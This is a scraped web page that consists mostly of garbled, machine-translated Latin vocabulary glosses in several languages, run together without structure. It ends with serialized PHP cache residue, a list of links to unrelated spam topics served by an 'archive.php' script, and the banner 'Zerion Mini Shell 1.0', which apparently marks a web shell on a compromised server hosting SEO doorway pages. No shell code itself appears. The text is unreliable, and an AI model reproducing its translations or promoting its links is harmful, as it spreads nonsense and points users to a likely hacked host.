rugido; gruñido; rabia; murmullos, clamor para, turn, turn around; change, alter; overthrow, destroy, drehen, drehen, ändern, anzupassen, zu stürzen, zu zerstören, tourner, tourner autour ; le changement, changent ; le renversement, détruisent, gira, gira intorno, cambiare, modificare, rovesciare, distruggere, dar vuelta, dar vuelta alrededor; el cambio, altera; el derrocamiento, destruye, , millesimus -a -um, milleni -ae -a, milie(n)s, Gallic, of Gaul/the Gauls; class of gladiator w/Gallic armor, Gallischen, der Gaul / die Gallier; Klasse von Gladiator w / gallischen Rüstung, Gaulois, de la Gaule / les Gaulois; classe de w Gladiator / armures gauloises, Gallico, della Gallia / i Galli; classe di gladiatori w / armatura gallico, Galo, de la Galia / los galos; clase de gladiador w / armadura galos, sing, celebrate, chant; crow; recite; play/sound; foretell, singen, feiern, singen, Krähe, rezitieren, spielen / sound; voraussagen, chanter, célébrer, chanter ; corneille ; exposer ; jeu/bruit ; prévoir, cantare, festeggiare, canto, corvo, recitare, play / suono; predire, cantar, celebrar, cantar; cuervo; recitar; juego/sonido; prever, be/become covered in white; be hoary, be white/gray, sein / werden in Weiß, ganz grau werden, weiß / grau, be/become couvert dans le blanc ; être blanchi, être blanc/gris, essere / diventare coperto di bianco; essere canuto, di colore bianco / grigio, be/become cubierto en blanco; ser canoso, ser blanco/gris, grigio, grigio, bianco, bianco per antico, hostile, enemy; of/belonging to an enemy; involving/performed by an enemy, Anfeindungen, Feind, der / die Zugehörigkeit zu einer Feind, mit / interpretiert von einem Feind, hostile, ennemi de / appartenant à un ennemi; impliquant / exécuté par un ennemi, ostile, nemico di / appartenenti ad un nemico; il coinvolgimento / eseguita da un nemico, enemigo hostil,; de / que pertenece a un enemigo, involucrando / interpretadas por un enemigo, port, harbor; refuge, haven, place of refuge, Hafen, Hafen, Zuflucht, Hafen, Ort der Zuflucht, port, le port; refuge, havre de paix, lieu de refuge, porto, porto, rifugio, rifugio, luogo di rifugio, puerto, puerto, refugio, refugio, lugar de refugio, lie hidden, lurk; live a retired life, escape notice, liegen versteckt, lauern; leben ein zurückgezogenes Leben, unbemerkt, le mensonge caché, menacent ; vivent une vie retirée, notification d'évasion, si nascondono, si annidano, vivere una vita ritirata, sfuggire, la mentira ocultada, está al acecho; vive una vida jubilada, aviso del escape, move, set in motion; excite/rouse/stir up; urge on; summon/muster/call up, bewegen, in Bewegung zu setzen, erregen / erwecken / schüren; Drang auf, rufen / muster / Aufruf, se déplacer, mettre en marche ; exciter/rouse/remuent ; recommander dessus ; appeler/rassemblement/appellent, spostare, mettere in moto, eccitare / suscitare / suscitare, incitare, chiamare / Mustér / richiamare, moverse, fijar en el movimiento; excitar/rouse/suscitan; impulso encendido; convocar/asamblea/llaman, , cita -um, citior -or -us, citissimus -a -um, quick, swift, rapid; moving/acting/passing/occurring quickly, speedy; early, schnell, schnell, schnell; ergreifend / Schauspiel / Abblend-und auftretende schnell, schnelle, frühzeitige, vite, rapide, rapide ; déplacement/action/dépassement/se produisant rapidement, prompt ; tôt, rapido, veloce, rapido; in movimento / qualità / passaggio / che si verificano in modo rapido, veloce, presto, aprisa, rápido, rápido; mudanza/actuación/paso/que ocurre rápidamente, rápido; temprano, delay; stay, stay behind; devote attention to, delay; bleiben, zurückbleiben; Aufmerksamkeit widmen, retard ; séjour, séjour derrière ; consacrer l'attention à, indugio; resta, resta indietro; dedicare attenzione al, retardo; estancia, estancia detrás; dedicar la atención a, of gold, golden; gilded; gold bearing; gleaming like gold; beautiful, splendid, Gold, golden; vergoldet; goldhaltige; strahlend wie Gold, schöne, herrliche, de l'or, d'or ; doré ; roulement d'or ; briller comme l'or ; beau, splendide, d'oro, d'oro, dorato, portando oro, lucente come l'oro, bello, splendido, del oro, de oro; dorado; cojinete del oro; el destellar como el oro; hermoso, espléndido, chariot, light horse vehicle; triumphal chariot; triumph; wheels on plow; cart, Wagen, Licht Pferd Fahrzeugs; Triumphwagen; Triumph, Räder am Pflug; Warenkorb, char, véhicule chevau-légers; char de triomphe; le triomphe; roues de charrue; panier, carro, veicoli leggeri cavallo; carro trionfale; trionfo; ruote su aratro; carrello, carro, vehículo ligero caballo; carro triunfal; triunfo; ruedas de arado; carrito, unberührte, intakte; unversucht, Jungfrau, intatto, integro, non sperimentata; vergine, boeuf ; taureau ; vache ; boeuf-rayon ; bétail, cry aloud, roar, bellow; call loudly upon, schreien, brüllen, brüllen, rufen Sie laut auf, cri à haute voix, hurlement, beuglement ; appel fort au moment, gridare ad alta voce, ruggito, a soffietto, chiamare ad alta voce su, grito en voz alta, rugido, bramido; llamada en alta voz sobre, noch, und .. nicht, nicht .., nicht einmal, ni tampoco, y no .., no .. tampoco, ni siquiera, noch, und nicht, nicht, noch nicht einmal, prepare; furnish/supply/provide; produce; obtain/get; buy; raise; put up; plan, vorzubereiten; liefern / Versorgung / bereitzustellen; produzieren; zu erhalten / zu erhalten, kaufen, erhöhen; Aufmachungen aller Art; Plan, préparer ; fournir/approvisionnement/fournissent ; produit ; obtenir/obtenir ; acheter ; augmenter ; mettre vers le haut ; plan, preparare, offrire / fornitura / prestazione; produrre; ottenere / avere, acquistare, alzare, presentati; piano, prepararse; suministrar/fuente/proporcionan; producto; obtener/conseguir; comprar; aumento; poner; plan, mate, spouse, partner; match, peer; person of same kind/rank/station/prestige, mate, Ehegatten, Partner, Spiel, Peer; Person der gleichen Art / Rang / Bahnhof / Prestige, compagnon, conjoint, associé ; allumette, pair ; personne de la mêmes sorte/rang/station/prestige, compagno, coniuge, il partner; partita, inter pares; persona per lo stesso tipo / grado / Stazione / prestigio, compañero, esposo, socio; fósforo, par; persona de la misma clase/fila/estación/prestigio, equal; a match for; of equal size/rank/age; fit/suitable/right/proper, gleich; gewachsen; von gleicher Größe / Rang / Alter; fit / geeignet / rechts / ordnungsgemäße, égale ; une allumette pour ; de la taille/du rang/de âge égaux ; ajustement/approprié/droit/approprié, di parità; una corrispondenza per, di uguali dimensioni / rank / età; FIT / adatti / destra / corretto, igual; un fósforo para; del tamaño/de la fila/de la edad iguales; ajuste/conveniente/derecho/apropiado, war, warfare; battle, combat, fight; war; military force, arms, Krieg, Krieg, Kampf, Kampf, Kampf, Krieg, Militär-, Waffen -, la guerre, la guerre; bataille, combat, combat, guerre, la force militaire, les armes, guerra, guerra; battaglia, combattimento, lotta, guerra, la forza militare, le armi, guerra, guerra; batalla, combate, lucha, guerra, la fuerza militar, las armas, fight, wage war, struggle; take part in war/battle/fight, Kampf, Krieg, Kampf, beteiligen sich an den Krieg / Kampf / Kampf, le combat, font la guerre, lutte ; participer à la guerre/à bataille/au combat, lotta, guerra, lotta, prendere parte alla guerra / battaglia / lotta, la lucha, emprende la guerra, lucha; participar en guerra/batalla/lucha, , bella -um, bellior -or -us, bellissimus -a -um, pretty, handsome, charming, pleasant, agreeable, polite; nice, fine, excellent, hübsch, hübsch, charmant, freundlich, angenehm, höflich, nett, schön, gute, assez, beau, charme, plaisant, agréable, poli ; gentil, fin, excellent, bello, bello, attraente, gradevole, piacevole, educato, bello, fine, eccellente, bastante, hermoso, el encantar, agradable, conforme, cortés; agradable, fino, excelente, Spin, weben, zu produzieren, durch Drehen, rotation ; armure ; produit par la rotation, vuelta; armadura; producto haciendo girar, African; from/of Africa; plants/animals from Africa, African; aus / von Afrika; Pflanzen / Tiere aus Afrika, Afrique; de / de l'Afrique, les plantes et animaux d'Afrique, Africano; da / d'Africa; piante / animali provenienti dall'Africa, África; desde / de África, en las plantas / animales procedentes de África, above, on top, over; upwards; moreover, in addition, besides, oben, am Anfang, Ende, nach oben, außerdem, zusätzlich, neben, ci-dessus, sur le dessus, plus, à la hausse, de plus en plus, d'ailleurs, sopra, in alto, oltre, verso l'alto, inoltre, in aggiunta, oltre a, anteriormente, en la parte superior, a lo largo; hacia arriba, y ello, además, además de, over, above, upon, in addition to; during; concerning; beyond, über, oben auf, zusätzlich zu; bei; über, jenseits, plus, au-dessus, sur, en plus, au cours; concernant, au-delà, su, sopra, sopra, in aggiunta a, durante, in materia, al di là di, más, por encima de, sobre, además de, durante, la referente a: más allá de, upon/on; over, above, about; besides; during; beyond, auf / auf, über, oben, über, neben, bei; über, sur / le; plus, au-dessus, environ, en plus, au cours, au-delà, su / su, su, in alto, circa, oltre, durante, al di là di, a / a, más de, por encima, alrededor, además, durante, más allá de, strength/power; courage/bravery; worth/manliness/virtue/character/excellence, Kraft / Macht, Mut / Tapferkeit; wert / Männlichkeit / Tugend / Charakter / Spitzenleistungen, force/puissance ; courage/courage ; en valeur/virilité/vertu/caractère/excellence, forza / potenza, coraggio / coraggio, vale la pena / virilità / virtù / personaggio / eccellenza, fuerza/energía; valor/valor; digno de/masculinidad/virtud/carácter/excelencia, put/insert; store up/put away, preserve, bottle; bury/inter; sink. ";s:7:"keyword";s:15:"horace epodes 9";s:5:"links";s:1616:"<a href="https://api.duassis.com/storage/8epmj4qw/archive.php?70370d=lesser-kudu-facts">Lesser Kudu Facts</a>,
<a href="https://api.duassis.com/storage/8epmj4qw/archive.php?70370d=banquet-mega-meats">Banquet Mega Meats</a>,
<a href="https://api.duassis.com/storage/8epmj4qw/archive.php?70370d=chex-mix-bold-party-blend-nutrition">Chex Mix Bold Party Blend Nutrition</a>,
<a href="https://api.duassis.com/storage/8epmj4qw/archive.php?70370d=basic-aerodynamics-incompressible-flow-solutions-manual">Basic Aerodynamics Incompressible Flow Solutions Manual</a>,
<a href="https://api.duassis.com/storage/8epmj4qw/archive.php?70370d=greater-mouse-eared-bat-habitat">Greater Mouse-eared Bat Habitat</a>,
<a href="https://api.duassis.com/storage/8epmj4qw/archive.php?70370d=canned-apricot-cake-recipes">Canned Apricot Cake Recipes</a>,
<a href="https://api.duassis.com/storage/8epmj4qw/archive.php?70370d=jello-salad-with-cream-cheese-and-cool-whip">Jello Salad With Cream Cheese And Cool Whip</a>,
<a href="https://api.duassis.com/storage/8epmj4qw/archive.php?70370d=koi-fish-near-me">Koi Fish Near Me</a>,
<a href="https://api.duassis.com/storage/8epmj4qw/archive.php?70370d=plant-font-copy-and-paste">Plant Font Copy And Paste</a>,
<a href="https://api.duassis.com/storage/8epmj4qw/archive.php?70370d=yamaha-rgx-a2-review">Yamaha Rgx A2 Review</a>,
<a href="https://api.duassis.com/storage/8epmj4qw/archive.php?70370d=chef-cartoon-images-hd">Chef Cartoon Images Hd</a>,
<a href="https://api.duassis.com/storage/8epmj4qw/archive.php?70370d=wheeler-gorge-campground-phone-number">Wheeler Gorge Campground Phone Number</a>,
";s:7:"expired";i:-1;}

Zerion Mini Shell 1.0